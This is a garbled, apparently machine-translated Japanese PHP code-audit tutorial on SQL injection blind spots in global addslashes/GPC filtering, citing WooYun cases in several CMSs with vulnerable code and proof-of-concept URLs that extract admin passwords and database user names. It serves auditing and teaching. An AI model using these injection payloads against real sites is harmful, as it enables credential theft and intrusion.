ホームページ >バックエンド開発 >PHPチュートリアル >[PHP コード監査] 当時、私たちは SQL インジェクションを一緒に掘り下げました - 6. グローバルな保護の盲点の概要、パート 1
SQL インジェクションに対する今日の WEB アプリケーション保護は、基本的に GPC が有効かどうかを判断し、addlashes 関数を使用して一重引用符などの特殊文字をエスケープします。しかし、このような保護を使用するだけでは多くの盲点があります。たとえば、最も古典的な整数パラメータの受け渡し、つまりデータベース クエリに取り込まれるパラメータは整数であり、配列内のキーはフィルタリングされずにクエリに取り込まれます。 GET 、 POST のグローバル フィルタリングはサポートされますが、 SERVER または COOKIE によるインジェクションはフィルタリングされません。したがって、グローバルに保護されているように見えますが、実際には多くの「バックドア」が隠されています~
盲点は次のとおりです:
①id=1 のような整数パラメータを持つ注入ポイントは完全に無視されますGPC フィルタリング ;
②注入ポイントにキーと値のペアが含まれている場合、ここでは値のみが検出され、キー フィルタリングに対する保護はありません。
③グローバル フィルタリングでは GET のみが除外される場合があります。 POST と COOKIE、ただし SERVER はフィルタリングされません。
一般的な SERVER 変数が添付されています (具体的な意味は Baidu によって決定されます): QUERY_STRING、この記事からは分析のみを行い、脆弱性テスト環境は提供しません~~
GPC のデジタル インジェクションを完全に無視する 実際、注意深く要約した結果、まだ学ぶべきことがたくさんあることがわかりました。
これは、著者が最初にいくつか掘り起こしたものです。 dark Cloud case http://www.wooyun.org/bugs/wooyun-2010-065605
管理者アカウントのパスワードを取得するための POC:
<?phprequire_once "admin/common.php";require_once(MOBAN_PATH_QZ."header.html");//这里typeid没有做整形转换$typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1;//sql语句没有单引号保护$type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;?>
2. 同じパラメータが含まれています。 最初の SQL には一重引用符で保護されていますが、2 番目の SQL では一重引用符を追加するのを忘れています。
http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,
幸いなことに、この種の問題を Discuz! で見ました。Rainy Cow の抜け穴に感心しています。 http://www.wooyun .org/bugs/wooyun-2014-079045
脆弱性原則の簡単な分析
まず、$itemid によって渡される最初の SQL ステートメントは次のとおりです
$itemid は一重引用符で保護されており、クエリに結果がある場合は削除されます。結果がない場合は削除は実行されません。データベースでは itemid は int 型で格納されているため、結果をクエリするには数値型のみを送信するのが本来の意図であり、送信された数値でなければクエリ結果が取得できませんので、以下の delete 文を記述します。実行されません。ただし、mysql の型変換により、ここには int 型が格納されるため、1xxxxx と 1 のクエリ結果は次のように同じになります。
$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'')
その後、2 番目の delete SQL ステートメント
ここで一重引用符を追加するのを忘れました。上の図によると、データベース ユーザーを取得するための POC を構築できます:
$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\'');
3.php の弱い型付け言語、判定ロジックエラーによるインジェクション
http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#
まだ Yuniu の場合です http://www.wooyun.org/bugs/wooyun-2010-088872
ここでは脆弱性形成の原理についてのみ説明します
上に示したように、弱い型付け言語 0
配列タイプ。グローバル保護は値をフィルターするだけで、キーはフィルターされず、クエリに取り込まれます。
プログラマーは配列の処理が十分に厳密ではないことが多く、その結果、このような脆弱性が生じます。幸いなことに、ShopEx の ecmall にこのような脆弱性があることがわかりました。リンク:
上記の理由によります。ケースとシーケンスの変換は関連しており、プロセスはより複雑です。これは Wuyun の別のケースです: http://www.wooyun.org/bugs/wooyun-2010-069746 このケースを簡単に分析するために、まず関数を見てみましょう。配列を処理します:
配列の値が厳密にフィルターされ、アッドラッシュがエスケープされていることがわかりますが、キーにはフィルター操作がありません。次に、キーワード「$」をグローバルに検索します。 key=>$value" を検索すると、次のコード $key がクエリ
$_POST=Add_S($_POST);$_GET=Add_S($_GET);$_COOKIE=Add_S($_COOKIE);... ...function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array;に取り込まれ、以下に示すように管理者アカウントのパスワードを取得するための POC が構築されます。
elseif($job=='manage'){ if(!$atc_power)showerr("你没权限"); if($rsdb[pages]<2){ header("location:post.php?job=edit&aid=$aid∣=$mid&only=$only");exit; } $erp=get_id_table($aid); if($step==2){ asort($orderDB); $i=0; foreach( $orderDB AS $key=>$value){ $i++; $db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'"); }
その他のケース: http://www.wooyun.org/bugs/wooyun-2014-071516
SERVER 変数がフィルターされていない
は、次のコードのように、ユーザー IP を取得してライブラリに追加します。
program/index/receive/login.php のコードは例です:
//获取访问者IP(PHP代码/函数) function get_ip(){ if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){ $ip=getenv("HTTP_CLIENT_IP"); }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){ $ip=getenv("HTTP_X_FORWARDED_FOR"); }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){ $ip=getenv("REMOTE_ADDR"); }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){ $ip=$_SERVER['REMOTE_ADDR']; }else{ $ip="unknown" ; } return $ip; }
ケース: http://www.wooyun.org/bugs/wooyun-2010- 0173485
元のアドレス: http://www.cnbraid.com/2016/04/29/sql5/
//这里使用get_ip函数获取客户ip$ip=get_ip();//这里入库,所以可以注入了$sql="update ".$pdo->index_pre."user set `last_time`='$time',`last_ip`='$ip' where `id`='".$_SESSION['monxin']['id']."'";$pdo->exec($sql);$sql="select count(id) as c from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."'";$stmt=$pdo->query($sql,2);$v=$stmt->fetch(2);if($v['c']<self::$config['other']['user_login_log']){ $sql="insert into ".$pdo->index_pre."user_login (`userid`,`ip`,`time`,`position`) values ('".$_SESSION['monxin']['id']."','$ip','$time','".get_ip_position($ip)."')";}else{ $sql="select `id` from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."' order by time asc limit 0,1"; $stmt=$pdo->query($sql,2); $v=$stmt->fetch(2); $sql="update ".$pdo->index_pre."user_login set `ip`='$ip',`time`='$time' where `id`='".$v['id']."'";}$pdo->exec($sql);